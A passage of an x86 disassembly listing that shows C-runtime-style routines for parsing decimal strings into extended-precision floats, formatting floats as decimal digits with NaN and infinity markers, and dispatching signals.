add [ebp+var_4], 0FFFFh
pop ecx
jmp short loc_41EB12
; ---------------------------------------------------------------------------
loc_41EB27: ; CODE XREF: sub_41EA6C+A9j
mov ax, word ptr [ebp+var_4]
pop esi
mov [ebx+0Ah], ax
pop ebx
leave
retn
sub_41EA6C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41EB33 proc near ; CODE XREF: sub_41DD0E+17p
; sub_41DD3B+17p
var_5C = byte ptr -5Ch
var_45 = byte ptr -45h
var_40 = dword ptr -40h
var_3A = dword ptr -3Ah
var_36 = dword ptr -36h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
sub esp, 5Ch
push ebx
push esi
push edi
mov edi, [ebp+arg_8]
lea eax, [ebp+var_5C]
push 1
mov [ebp+var_C], eax
xor eax, eax
pop edx
mov [ebp+var_28], eax
mov [ebp+var_18], edx
mov [ebp+var_4], eax
mov [ebp+var_10], eax
mov [ebp+var_24], eax
mov [ebp+var_20], eax
mov [ebp+var_2C], eax
mov [ebp+var_30], eax
mov [ebp+var_1C], eax
mov [ebp+var_8], eax
mov [ebp+var_14], eax
mov [ebp+arg_8], edi
loc_41EB6E: ; CODE XREF: sub_41EB33+52j
mov cl, [edi]
cmp cl, 20h
jz short loc_41EB84
cmp cl, 9
jz short loc_41EB84
cmp cl, 0Ah
jz short loc_41EB84
cmp cl, 0Dh
jnz short loc_41EB87
loc_41EB84: ; CODE XREF: sub_41EB33+40j
; sub_41EB33+45j ...
inc edi
jmp short loc_41EB6E
; ---------------------------------------------------------------------------
loc_41EB87: ; CODE XREF: sub_41EB33+4Fj
push 4
pop esi
loc_41EB8A: ; CODE XREF: sub_41EB33+AEj
; sub_41EB33+B7j ...
mov bl, [edi]
inc edi
cmp eax, 0Bh ; switch 12 cases
ja loc_41EE0D ; default
; jumptable 0041EB96 case 10
jmp off_41EFD4[eax*4] ; switch jump
loc_41EB9D: ; DATA XREF: .nsp0:off_41EFD4o
cmp bl, 31h ; jumptable 0041EB96 case 0
jl short loc_41EBAE
cmp bl, 39h
jg short loc_41EBAE
loc_41EBA7: ; CODE XREF: sub_41EB33+C4j
; sub_41EB33+118j
push 3
jmp loc_41EDCB
; ---------------------------------------------------------------------------
loc_41EBAE: ; CODE XREF: sub_41EB33+6Dj
; sub_41EB33+72j
cmp bl, byte_437FA0
jnz short loc_41EBBD
loc_41EBB6: ; CODE XREF: sub_41EB33+124j
push 5
jmp loc_41EE03
; ---------------------------------------------------------------------------
loc_41EBBD: ; CODE XREF: sub_41EB33+81j
movsx eax, bl
sub eax, 2Bh
jz short loc_41EBE3
dec eax
dec eax
jz short loc_41EBD7
sub eax, 3
jnz loc_41EEA6
jmp loc_41EC66
; ---------------------------------------------------------------------------
loc_41EBD7: ; CODE XREF: sub_41EB33+94j
push 2
mov [ebp+var_28], 8000h
pop eax
jmp short loc_41EB8A
; ---------------------------------------------------------------------------
loc_41EBE3: ; CODE XREF: sub_41EB33+90j
and [ebp+var_28], 0
push 2
pop eax
jmp short loc_41EB8A
; ---------------------------------------------------------------------------
loc_41EBEC: ; CODE XREF: sub_41EB33+63j
; DATA XREF: .nsp0:off_41EFD4o
cmp bl, 31h ; jumptable 0041EB96 case 1
mov [ebp+var_10], edx
jl short loc_41EBF9
cmp bl, 39h
jle short loc_41EBA7
loc_41EBF9: ; CODE XREF: sub_41EB33+BFj
cmp bl, byte_437FA0
jz loc_41ECC1
cmp bl, 2Bh
jz short loc_41EC3B
cmp bl, 2Dh
jz short loc_41EC3B
cmp bl, 30h
jz short loc_41EC66
loc_41EC14: ; CODE XREF: sub_41EB33+207j
cmp bl, 43h
jle loc_41EEA6
cmp bl, 45h
jle short loc_41EC34
cmp bl, 63h
jle loc_41EEA6
cmp bl, 65h
jg loc_41EEA6
loc_41EC34: ; CODE XREF: sub_41EB33+EDj
push 6
jmp loc_41EE03
; ---------------------------------------------------------------------------
loc_41EC3B: ; CODE XREF: sub_41EB33+D5j
; sub_41EB33+DAj ...
dec edi
push 0Bh
jmp loc_41EE03
; ---------------------------------------------------------------------------
loc_41EC43: ; CODE XREF: sub_41EB33+63j
; DATA XREF: .nsp0:off_41EFD4o
cmp bl, 31h ; jumptable 0041EB96 case 2
jl short loc_41EC51
cmp bl, 39h
jle loc_41EBA7
loc_41EC51: ; CODE XREF: sub_41EB33+113j
cmp bl, byte_437FA0
jz loc_41EBB6
cmp bl, 30h
jnz loc_41EE1B
loc_41EC66: ; CODE XREF: sub_41EB33+9Fj
; sub_41EB33+DFj
mov eax, edx
jmp loc_41EB8A
; ---------------------------------------------------------------------------
loc_41EC6D: ; CODE XREF: sub_41EB33+63j
; DATA XREF: .nsp0:off_41EFD4o
mov [ebp+var_10], edx ; jumptable 0041EB96 case 3
loc_41EC70: ; CODE XREF: sub_41EB33+184j
cmp dword_437F9C, edx
jle short loc_41EC89
movzx eax, bl
push esi
push eax
call sub_418556
pop ecx
pop ecx
push 1
pop edx
jmp short loc_41EC97
; ---------------------------------------------------------------------------
loc_41EC89: ; CODE XREF: sub_41EB33+143j
mov ecx, off_437D90
movzx eax, bl
mov al, [ecx+eax*2]
and eax, esi
loc_41EC97: ; CODE XREF: sub_41EB33+154j
test eax, eax
jz short loc_41ECB9
cmp [ebp+var_4], 19h
jnb short loc_41ECB1
mov eax, [ebp+var_C]
inc [ebp+var_4]
sub bl, 30h
inc [ebp+var_C]
mov [eax], bl
jmp short loc_41ECB4
; ---------------------------------------------------------------------------
loc_41ECB1: ; CODE XREF: sub_41EB33+16Cj
inc [ebp+var_8]
loc_41ECB4: ; CODE XREF: sub_41EB33+17Cj
mov bl, [edi]
inc edi
jmp short loc_41EC70
; ---------------------------------------------------------------------------
loc_41ECB9: ; CODE XREF: sub_41EB33+166j
cmp bl, byte_437FA0
jnz short loc_41ED28
loc_41ECC1: ; CODE XREF: sub_41EB33+CCj
mov eax, esi
jmp loc_41EB8A
; ---------------------------------------------------------------------------
loc_41ECC8: ; CODE XREF: sub_41EB33+63j
; DATA XREF: .nsp0:off_41EFD4o
cmp [ebp+var_4], 0 ; jumptable 0041EB96 case 4
mov [ebp+var_10], edx
mov [ebp+var_24], edx
jnz short loc_41ECE1
loc_41ECD4: ; CODE XREF: sub_41EB33+1ACj
cmp bl, 30h
jnz short loc_41ECE1
dec [ebp+var_8]
mov bl, [edi]
inc edi
jmp short loc_41ECD4
; ---------------------------------------------------------------------------
loc_41ECE1: ; CODE XREF: sub_41EB33+19Fj
; sub_41EB33+1A4j ...
cmp dword_437F9C, edx
jle short loc_41ECFA
movzx eax, bl
push esi
push eax
call sub_418556
pop ecx
pop ecx
push 1
pop edx
jmp short loc_41ED08
; ---------------------------------------------------------------------------
loc_41ECFA: ; CODE XREF: sub_41EB33+1B4j
mov ecx, off_437D90
movzx eax, bl
mov al, [ecx+eax*2]
and eax, esi
loc_41ED08: ; CODE XREF: sub_41EB33+1C5j
test eax, eax
jz short loc_41ED28
cmp [ebp+var_4], 19h
jnb short loc_41ED23
mov eax, [ebp+var_C]
inc [ebp+var_4]
sub bl, 30h
inc [ebp+var_C]
dec [ebp+var_8]
mov [eax], bl
loc_41ED23: ; CODE XREF: sub_41EB33+1DDj
mov bl, [edi]
inc edi
jmp short loc_41ECE1
; ---------------------------------------------------------------------------
loc_41ED28: ; CODE XREF: sub_41EB33+18Cj
; sub_41EB33+1D7j
cmp bl, 2Bh
jz loc_41EC3B
cmp bl, 2Dh
jz loc_41EC3B
jmp loc_41EC14
; ---------------------------------------------------------------------------
loc_41ED3F: ; CODE XREF: sub_41EB33+63j
; DATA XREF: .nsp0:off_41EFD4o
cmp dword_437F9C, edx ; jumptable 0041EB96 case 5
mov [ebp+var_24], edx
jle short loc_41ED5B
movzx eax, bl
push esi
push eax
call sub_418556
pop ecx
pop ecx
push 1
pop edx
jmp short loc_41ED69
; ---------------------------------------------------------------------------
loc_41ED5B: ; CODE XREF: sub_41EB33+215j
mov ecx, off_437D90
movzx eax, bl
mov al, [ecx+eax*2]
and eax, esi
loc_41ED69: ; CODE XREF: sub_41EB33+226j
test eax, eax
jz loc_41EE1B
mov eax, esi
jmp short loc_41EDCC
; ---------------------------------------------------------------------------
loc_41ED75: ; CODE XREF: sub_41EB33+63j
; DATA XREF: .nsp0:off_41EFD4o
lea ecx, [edi-2] ; jumptable 0041EB96 case 6
cmp bl, 31h
mov [ebp+arg_8], ecx
jl short loc_41ED85
cmp bl, 39h
jle short loc_41EDC9
loc_41ED85: ; CODE XREF: sub_41EB33+24Bj
movsx eax, bl
sub eax, 2Bh
jz short loc_41EE01
dec eax
dec eax
jz short loc_41EDF5
sub eax, 3
jnz loc_41EEA9
loc_41ED9A: ; CODE XREF: sub_41EB33+2A4j
push 8
jmp short loc_41EE03
; ---------------------------------------------------------------------------
loc_41ED9E: ; CODE XREF: sub_41EB33+63j
; DATA XREF: .nsp0:off_41EFD4o
mov [ebp+var_20], edx ; jumptable 0041EB96 case 8
loc_41EDA1: ; CODE XREF: sub_41EB33+276j
cmp bl, 30h
jnz short loc_41EDAB
mov bl, [edi]
inc edi
jmp short loc_41EDA1
; ---------------------------------------------------------------------------
loc_41EDAB: ; CODE XREF: sub_41EB33+271j
cmp bl, 31h
jl loc_41EEA6
cmp bl, 39h
jg loc_41EEA6
jmp short loc_41EDC9
; ---------------------------------------------------------------------------
loc_41EDBF: ; CODE XREF: sub_41EB33+63j
; DATA XREF: .nsp0:off_41EFD4o
cmp bl, 31h ; jumptable 0041EB96 case 7
jl short loc_41EDD2
cmp bl, 39h
jg short loc_41EDD2
loc_41EDC9: ; CODE XREF: sub_41EB33+250j
; sub_41EB33+28Aj
push 9
loc_41EDCB: ; CODE XREF: sub_41EB33+76j
pop eax
loc_41EDCC: ; CODE XREF: sub_41EB33+240j
dec edi
jmp loc_41EB8A
; ---------------------------------------------------------------------------
loc_41EDD2: ; CODE XREF: sub_41EB33+28Fj
; sub_41EB33+294j
cmp bl, 30h
jnz short loc_41EE1B
jmp short loc_41ED9A
; ---------------------------------------------------------------------------
loc_41EDD9: ; CODE XREF: sub_41EB33+63j
; DATA XREF: .nsp0:off_41EFD4o
cmp [ebp+arg_18], 0 ; jumptable 0041EB96 case 11
jz short loc_41EE09
movsx eax, bl
lea ecx, [edi-1]
sub eax, 2Bh
mov [ebp+arg_8], ecx
jz short loc_41EE01
dec eax
dec eax
jnz loc_41EEA9
loc_41EDF5: ; CODE XREF: sub_41EB33+25Cj
or [ebp+var_18], 0FFFFFFFFh
push 7
pop eax
jmp loc_41EB8A
; ---------------------------------------------------------------------------
loc_41EE01: ; CODE XREF: sub_41EB33+258j
; sub_41EB33+2B8j
push 7
loc_41EE03: ; CODE XREF: sub_41EB33+85j
; sub_41EB33+103j ...
pop eax
jmp loc_41EB8A
; ---------------------------------------------------------------------------
loc_41EE09: ; CODE XREF: sub_41EB33+2AAj
push 0Ah
dec edi
pop eax
loc_41EE0D: ; CODE XREF: sub_41EB33+5Dj
; sub_41EB33+63j
; DATA XREF: ...
cmp eax, 0Ah ; default
; jumptable 0041EB96 case 10
jz loc_41EEAB
jmp loc_41EB8A
; ---------------------------------------------------------------------------
loc_41EE1B: ; CODE XREF: sub_41EB33+12Dj
; sub_41EB33+238j ...
mov edi, [ebp+arg_8]
jmp loc_41EEAB
; ---------------------------------------------------------------------------
loc_41EE23: ; CODE XREF: sub_41EB33+63j
; DATA XREF: .nsp0:off_41EFD4o
mov [ebp+var_20], 1 ; jumptable 0041EB96 case 9
xor esi, esi
loc_41EE2C: ; CODE XREF: sub_41EB33+339j
cmp dword_437F9C, 1
jle short loc_41EE44
movzx eax, bl
push 4
push eax
call sub_418556
pop ecx
pop ecx
jmp short loc_41EE53
; ---------------------------------------------------------------------------
loc_41EE44: ; CODE XREF: sub_41EB33+300j
mov ecx, off_437D90
movzx eax, bl
mov al, [ecx+eax*2]
and eax, 4
loc_41EE53: ; CODE XREF: sub_41EB33+30Fj
test eax, eax
jz short loc_41EE73
movsx ecx, bl
lea eax, [esi+esi*4]
lea esi, [ecx+eax*2-30h]
cmp esi, 1450h
jg short loc_41EE6E
mov bl, [edi]
inc edi
jmp short loc_41EE2C
; ---------------------------------------------------------------------------
loc_41EE6E: ; CODE XREF: sub_41EB33+334j
mov esi, 1451h
loc_41EE73: ; CODE XREF: sub_41EB33+322j
mov [ebp+var_1C], esi
loc_41EE76: ; CODE XREF: sub_41EB33+371j
cmp dword_437F9C, 1
jle short loc_41EE8E
movzx eax, bl
push 4
push eax
call sub_418556
pop ecx
pop ecx
jmp short loc_41EE9D
; ---------------------------------------------------------------------------
loc_41EE8E: ; CODE XREF: sub_41EB33+34Aj
mov ecx, off_437D90
movzx eax, bl
mov al, [ecx+eax*2]
and eax, 4
loc_41EE9D: ; CODE XREF: sub_41EB33+359j
test eax, eax
jz short loc_41EEA6
mov bl, [edi]
inc edi
jmp short loc_41EE76
; ---------------------------------------------------------------------------
loc_41EEA6: ; CODE XREF: sub_41EB33+99j
; sub_41EB33+E4j ...
dec edi
jmp short loc_41EEAB
; ---------------------------------------------------------------------------
loc_41EEA9: ; CODE XREF: sub_41EB33+261j
; sub_41EB33+2BCj
mov edi, ecx
loc_41EEAB: ; CODE XREF: sub_41EB33+2DDj
; sub_41EB33+2EBj ...
mov eax, [ebp+arg_4]
cmp [ebp+var_10], 0
mov [eax], edi
jz loc_41EF93
push 18h
pop eax
cmp [ebp+var_4], eax
jbe short loc_41EED7
cmp [ebp+var_45], 5
jl short loc_41EECB
inc [ebp+var_45]
loc_41EECB: ; CODE XREF: sub_41EB33+393j
mov [ebp+var_4], eax
mov eax, [ebp+var_C]
dec eax
inc [ebp+var_8]
jmp short loc_41EEDA
; ---------------------------------------------------------------------------
loc_41EED7: ; CODE XREF: sub_41EB33+38Dj
mov eax, [ebp+var_C]
loc_41EEDA: ; CODE XREF: sub_41EB33+3A2j
cmp [ebp+var_4], 0
jbe loc_41EF89
loc_41EEE4: ; CODE XREF: sub_41EB33+3BDj
dec eax
cmp byte ptr [eax], 0
jnz short loc_41EEF2
dec [ebp+var_4]
inc [ebp+var_8]
jmp short loc_41EEE4
; ---------------------------------------------------------------------------
loc_41EEF2: ; CODE XREF: sub_41EB33+3B5j
lea eax, [ebp+var_40]
push eax
lea eax, [ebp+var_5C]
push [ebp+var_4]
push eax
call sub_41EA6C
mov eax, [ebp+var_1C]
xor ecx, ecx
add esp, 0Ch
cmp [ebp+var_18], ecx
jge short loc_41EF11
neg eax
loc_41EF11: ; CODE XREF: sub_41EB33+3DAj
add eax, [ebp+var_8]
cmp [ebp+var_20], ecx
jnz short loc_41EF1C
add eax, [ebp+arg_10]
loc_41EF1C: ; CODE XREF: sub_41EB33+3E4j
cmp [ebp+var_24], ecx
jnz short loc_41EF24
sub eax, [ebp+arg_14]
loc_41EF24: ; CODE XREF: sub_41EB33+3ECj
cmp eax, 1450h
jle short loc_41EF5B
mov [ebp+var_2C], 1
loc_41EF32: ; CODE XREF: sub_41EB33+436j
mov ebx, [ebp+arg_8]
mov esi, [ebp+arg_8]
mov eax, [ebp+arg_8]
mov edx, [ebp+arg_8]
loc_41EF3E: ; CODE XREF: sub_41EB33+454j
; sub_41EB33+45Ej
cmp [ebp+var_2C], 0
jz short loc_41EFA4
xor ebx, ebx
mov eax, 7FFFh
mov esi, 80000000h
xor edx, edx
mov [ebp+var_14], 2
jmp short loc_41EFB9
; ---------------------------------------------------------------------------
loc_41EF5B: ; CODE XREF: sub_41EB33+3F6j
cmp eax, 0FFFFEBB0h
jge short loc_41EF6B
mov [ebp+var_30], 1
jmp short loc_41EF32
; ---------------------------------------------------------------------------
loc_41EF6B: ; CODE XREF: sub_41EB33+42Dj
push [ebp+arg_C]
push eax
lea eax, [ebp+var_40]
push eax
call sub_41F71C
mov edx, [ebp+var_40]
mov ebx, [ebp+var_40+2]
mov esi, [ebp+var_3A]
mov eax, [ebp+var_36]
add esp, 0Ch
jmp short loc_41EF3E
; ---------------------------------------------------------------------------
loc_41EF89: ; CODE XREF: sub_41EB33+3ABj
xor edx, edx
xor eax, eax
xor esi, esi
xor ebx, ebx
jmp short loc_41EF3E
; ---------------------------------------------------------------------------
loc_41EF93: ; CODE XREF: sub_41EB33+381j
xor edx, edx
xor eax, eax
xor esi, esi
xor ebx, ebx
mov [ebp+var_14], 4
jmp short loc_41EFB9
; ---------------------------------------------------------------------------
loc_41EFA4: ; CODE XREF: sub_41EB33+40Fj
cmp [ebp+var_30], 0
jz short loc_41EFB9
xor edx, edx
xor eax, eax
xor esi, esi
xor ebx, ebx
mov [ebp+var_14], 1
loc_41EFB9: ; CODE XREF: sub_41EB33+426j
; sub_41EB33+46Fj ...
mov ecx, [ebp+arg_0]
or eax, [ebp+var_28]
pop edi
mov [ecx+6], esi
mov [ecx+2], ebx
mov [ecx+0Ah], ax
mov eax, [ebp+var_14]
pop esi
mov [ecx], dx
pop ebx
leave
retn
sub_41EB33 endp
; ---------------------------------------------------------------------------
off_41EFD4 dd offset loc_41EB9D ; DATA XREF: sub_41EB33+63r
dd offset loc_41EBEC ; jump table for switch statement
dd offset loc_41EC43
dd offset loc_41EC6D
dd offset loc_41ECC8
dd offset loc_41ED3F
dd offset loc_41ED75
dd offset loc_41EDBF
dd offset loc_41ED9E
dd offset loc_41EE23
dd offset loc_41EE0D
dd offset loc_41EDD9
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41F004 proc near ; CODE XREF: sub_41DDDF+2Cp
var_1C = byte ptr -1Ch
var_1B = byte ptr -1Bh
var_1A = byte ptr -1Ah
var_19 = byte ptr -19h
var_18 = byte ptr -18h
var_17 = byte ptr -17h
var_16 = byte ptr -16h
var_15 = byte ptr -15h
var_14 = byte ptr -14h
var_13 = byte ptr -13h
var_12 = byte ptr -12h
var_11 = byte ptr -11h
var_10 = word ptr -10h
var_E = dword ptr -0Eh
var_A = dword ptr -0Ah
var_6 = word ptr -6
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = byte ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
sub esp, 1Ch
mov eax, [ebp+arg_8]
push ebx
mov ebx, [ebp+arg_14]
push esi
mov ecx, eax
mov esi, 7FFFh
and ecx, 8000h
and eax, esi
test cx, cx
push edi
mov [ebp+var_1C], 0CCh
mov [ebp+var_1B], 0CCh
mov [ebp+var_1A], 0CCh
mov [ebp+var_19], 0CCh
mov [ebp+var_18], 0CCh
mov [ebp+var_17], 0CCh
mov [ebp+var_16], 0CCh
mov [ebp+var_15], 0CCh
mov [ebp+var_14], 0CCh
mov [ebp+var_13], 0CCh
mov [ebp+var_12], 0FBh
mov [ebp+var_11], 3Fh
mov [ebp+var_4], 1
mov edx, eax
jz short loc_41F066
mov byte ptr [ebx+2], 2Dh
jmp short loc_41F06A
; ---------------------------------------------------------------------------
loc_41F066: ; CODE XREF: sub_41F004+5Aj
mov byte ptr [ebx+2], 20h
loc_41F06A: ; CODE XREF: sub_41F004+60j
mov edi, [ebp+arg_4]
test dx, dx
jnz short loc_41F090
test edi, edi
jnz short loc_41F090
cmp [ebp+arg_0], edi
jnz short loc_41F090
loc_41F07B: ; CODE XREF: sub_41F004+181j
and word ptr [ebx], 0
mov byte ptr [ebx+2], 20h
mov byte ptr [ebx+3], 1
mov byte ptr [ebx+4], 30h
jmp loc_41F28E
; ---------------------------------------------------------------------------
loc_41F090: ; CODE XREF: sub_41F004+6Cj
; sub_41F004+70j ...
cmp dx, si
jnz short loc_41F10F
mov eax, 80000000h
mov word ptr [ebx], 1
cmp edi, eax
jnz short loc_41F0A9
cmp [ebp+arg_0], 0
jz short loc_41F0B8
loc_41F0A9: ; CODE XREF: sub_41F004+9Dj
test edi, 40000000h
jnz short loc_41F0B8
push offset a1Snan ; "1#SNAN"
jmp short loc_41F0FE
; ---------------------------------------------------------------------------
loc_41F0B8: ; CODE XREF: sub_41F004+A3j
; sub_41F004+ABj
test cx, cx
jz short loc_41F0D2
cmp edi, 0C0000000h
jnz short loc_41F0D2
cmp [ebp+arg_0], 0
jnz short loc_41F0F9
push offset a1Ind ; "1#IND"
jmp short loc_41F0E1
; ---------------------------------------------------------------------------
loc_41F0D2: ; CODE XREF: sub_41F004+B7j
; sub_41F004+BFj
cmp edi, eax
jnz short loc_41F0F9
cmp [ebp+arg_0], 0
jnz short loc_41F0F9
push offset a1Inf ; "1#INF"
loc_41F0E1: ; CODE XREF: sub_41F004+CCj
lea eax, [ebx+4]
push eax
call sub_415C00
pop ecx
mov byte ptr [ebx+3], 5
pop ecx
loc_41F0F0: ; CODE XREF: sub_41F004+109j
and [ebp+var_4], 0
jmp loc_41F267
; ---------------------------------------------------------------------------
loc_41F0F9: ; CODE XREF: sub_41F004+C5j
; sub_41F004+D0j ...
push offset a1Qnan ; "1#QNAN"
loc_41F0FE: ; CODE XREF: sub_41F004+B2j
lea eax, [ebx+4]
push eax
call sub_415C00
pop ecx
mov byte ptr [ebx+3], 6
pop ecx
jmp short loc_41F0F0
; ---------------------------------------------------------------------------
loc_41F10F: ; CODE XREF: sub_41F004+8Fj
movzx eax, dx
mov ecx, edi
mov esi, eax
shr ecx, 18h
imul eax, 4D10h
shr esi, 8
and [ebp+var_10], 0
push 1
lea ecx, [esi+ecx*2]
mov [ebp+var_6], dx
imul ecx, 4Dh
mov [ebp+var_A], edi
lea esi, [ecx+eax-134312F4h]
mov eax, [ebp+arg_0]
sar esi, 10h
mov [ebp+var_E], eax
movsx eax, si
neg eax
push eax
lea eax, [ebp+var_10]
push eax
call sub_41F71C
add esp, 0Ch
cmp [ebp+var_6], 3FFFh
jb short loc_41F170
lea eax, [ebp+var_1C]
inc esi
push eax
lea eax, [ebp+var_10]
push eax
call sub_41F4FC
pop ecx
pop ecx
loc_41F170: ; CODE XREF: sub_41F004+15Aj
test [ebp+arg_10], 1
mov [ebx], si
jz short loc_41F18A
mov edi, [ebp+arg_C]
movsx eax, si
add edi, eax
test edi, edi
jg short loc_41F18D
jmp loc_41F07B
; ---------------------------------------------------------------------------
loc_41F18A: ; CODE XREF: sub_41F004+173j
mov edi, [ebp+arg_C]
loc_41F18D: ; CODE XREF: sub_41F004+17Fj
cmp edi, 15h
jle short loc_41F195
push 15h
pop edi
loc_41F195: ; CODE XREF: sub_41F004+18Cj
movzx esi, [ebp+var_6]
sub esi, 3FFEh
and [ebp+var_6], 0
mov [ebp+arg_14], 8
loc_41F1AB: ; CODE XREF: sub_41F004+1B4j
lea eax, [ebp+var_10]
push eax
call sub_41EA11
dec [ebp+arg_14]
pop ecx
jnz short loc_41F1AB
test esi, esi
jge short loc_41F1D5
neg esi
and esi, 0FFh
jle short loc_41F1D5
loc_41F1C8: ; CODE XREF: sub_41F004+1CFj
lea eax, [ebp+var_10]
push eax
call sub_41EA3F
dec esi
pop ecx
jnz short loc_41F1C8
loc_41F1D5: ; CODE XREF: sub_41F004+1B8j
; sub_41F004+1C2j
lea ecx, [edi+1]
lea eax, [ebx+4]
test ecx, ecx
mov [ebp+arg_14], eax
jle short loc_41F232
mov [ebp+arg_C], ecx
loc_41F1E5: ; CODE XREF: sub_41F004+229j
lea esi, [ebp+var_10]
lea edi, [ebp+arg_0]
movsd
movsd
lea eax, [ebp+var_10]
push eax
movsd
call sub_41EA11
lea eax, [ebp+var_10]
push eax
call sub_41EA11
lea eax, [ebp+arg_0]
push eax
lea eax, [ebp+var_10]
push eax
call sub_41E9B3
lea eax, [ebp+var_10]
push eax
call sub_41EA11
mov al, byte ptr [ebp+var_6+1]
mov ecx, [ebp+arg_14]
and byte ptr [ebp+var_6+1], 0
add esp, 14h
add al, 30h
inc [ebp+arg_14]
dec [ebp+arg_C]
mov [ecx], al
jnz short loc_41F1E5
mov eax, [ebp+arg_14]
loc_41F232: ; CODE XREF: sub_41F004+1DCj
mov cl, [eax-1]
dec eax
dec eax
cmp cl, 35h
lea ecx, [ebx+4]
jl short loc_41F26F
loc_41F23F: ; CODE XREF: sub_41F004+248j
cmp eax, ecx
jb short loc_41F252
cmp byte ptr [eax], 39h
jnz short loc_41F24E
mov byte ptr [eax], 30h
dec eax
jmp short loc_41F23F
; ---------------------------------------------------------------------------
loc_41F24E: ; CODE XREF: sub_41F004+242j
cmp eax, ecx
jnb short loc_41F256
loc_41F252: ; CODE XREF: sub_41F004+23Dj
inc eax
inc word ptr [ebx]
loc_41F256: ; CODE XREF: sub_41F004+24Cj
inc byte ptr [eax]
loc_41F258: ; CODE XREF: sub_41F004+279j
sub al, bl
sub al, 3
mov [ebx+3], al
movsx eax, al
and byte ptr [eax+ebx+4], 0
loc_41F267: ; CODE XREF: sub_41F004+F0j
mov eax, [ebp+var_4]
loc_41F26A: ; CODE XREF: sub_41F004+291j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_41F26F: ; CODE XREF: sub_41F004+239j
; sub_41F004+275j
cmp eax, ecx
jb short loc_41F27F
cmp byte ptr [eax], 30h
jnz short loc_41F27B
dec eax
jmp short loc_41F26F
; ---------------------------------------------------------------------------
loc_41F27B: ; CODE XREF: sub_41F004+272j
cmp eax, ecx
jnb short loc_41F258
loc_41F27F: ; CODE XREF: sub_41F004+26Dj
and word ptr [ebx], 0
mov byte ptr [ebx+2], 20h
mov byte ptr [ebx+3], 1
mov byte ptr [ecx], 30h
loc_41F28E: ; CODE XREF: sub_41F004+87j
and byte ptr [ebx+5], 0
push 1
pop eax
jmp short loc_41F26A
sub_41F004 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41F297 proc near ; CODE XREF: sub_41AB9C+3423p
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push esi
push edi
mov edi, [ebp+arg_0]
mov eax, edi
dec eax
dec eax
jz short loc_41F2FE
dec eax
dec eax
jz short loc_41F2EF
sub eax, 4
jz short loc_41F2EF
sub eax, 3
jz short loc_41F2EF
sub eax, 4
jz short loc_41F2E2
sub eax, 6
jz short loc_41F2D5
dec eax
jz short loc_41F2C8
or eax, 0FFFFFFFFh
jmp loc_41F3C0
; ---------------------------------------------------------------------------
loc_41F2C8: ; CODE XREF: sub_41F297+27j
mov esi, dword_46978C
mov eax, offset dword_46978C
jmp short loc_41F309
; ---------------------------------------------------------------------------
loc_41F2D5: ; CODE XREF: sub_41F297+24j
mov esi, dword_469788
mov eax, offset dword_469788
jmp short loc_41F309
; ---------------------------------------------------------------------------
loc_41F2E2: ; CODE XREF: sub_41F297+1Fj
mov esi, dword_469790
mov eax, offset dword_469790
jmp short loc_41F309
; ---------------------------------------------------------------------------
loc_41F2EF: ; CODE XREF: sub_41F297+10j
; sub_41F297+15j ...
push edi
call sub_41F3C4
mov esi, [eax+8]
add eax, 8
pop ecx
jmp short loc_41F309
; ---------------------------------------------------------------------------
loc_41F2FE: ; CODE XREF: sub_41F297+Cj
mov esi, dword_469784
mov eax, offset dword_469784
loc_41F309: ; CODE XREF: sub_41F297+3Cj
; sub_41F297+49j ...
cmp esi, 1
jnz short loc_41F315
xor eax, eax
jmp loc_41F3C0
; ---------------------------------------------------------------------------
loc_41F315: ; CODE XREF: sub_41F297+75j
test esi, esi
jnz short loc_41F320
push 3
call sub_417838
loc_41F320: ; CODE XREF: sub_41F297+80j
push ebx
push 8
pop ecx
cmp edi, ecx
jz short loc_41F332
cmp edi, 0Bh
jz short loc_41F332
cmp edi, 4
jnz short loc_41F358
loc_41F332: ; CODE XREF: sub_41F297+8Fj
; sub_41F297+94j
mov ebx, dword_469564
and dword_469564, 0
cmp edi, ecx
jnz short loc_41F387
mov edx, dword_4383EC
mov dword_4383EC, 8Ch
mov [ebp+arg_0], edx
jmp short loc_41F35B
; ---------------------------------------------------------------------------
loc_41F358: ; CODE XREF: sub_41F297+99j
mov ebx, [ebp+arg_0]
loc_41F35B: ; CODE XREF: sub_41F297+BFj
cmp edi, ecx
jnz short loc_41F387
mov eax, dword_4383E0
mov ecx, dword_4383E4
add ecx, eax
cmp eax, ecx
jge short loc_41F38E
lea edx, [eax+eax*2]
sub ecx, eax
lea edx, ds:438370h[edx*4]
loc_41F37C: ; CODE XREF: sub_41F297+ECj
and dword ptr [edx], 0
add edx, 0Ch
dec ecx
jnz short loc_41F37C
jmp short loc_41F38E
; ---------------------------------------------------------------------------
loc_41F387: ; CODE XREF: sub_41F297+AAj
; sub_41F297+C6j
and dword ptr [eax], 0
cmp edi, ecx
jnz short loc_41F39C
loc_41F38E: ; CODE XREF: sub_41F297+D7j
; sub_41F297+EEj
push dword_4383EC
push 8
call esi
pop ecx
pop ecx
jmp short loc_41F3AA
; ---------------------------------------------------------------------------
loc_41F39C: ; CODE XREF: sub_41F297+F5j
push edi
call esi
cmp edi, 0Bh
pop ecx
jz short loc_41F3AA
cmp edi, 4
jnz short loc_41F3BD
loc_41F3AA: ; CODE XREF: sub_41F297+103j
; sub_41F297+10Cj
cmp edi, 8
mov dword_469564, ebx
jnz short loc_41F3BD
mov eax, [ebp+arg_0]
mov dword_4383EC, eax
loc_41F3BD: ; CODE XREF: sub_41F297+111j
; sub_41F297+11Cj
xor eax, eax
pop ebx
loc_41F3C0: ; CODE XREF: sub_41F297+2Cj
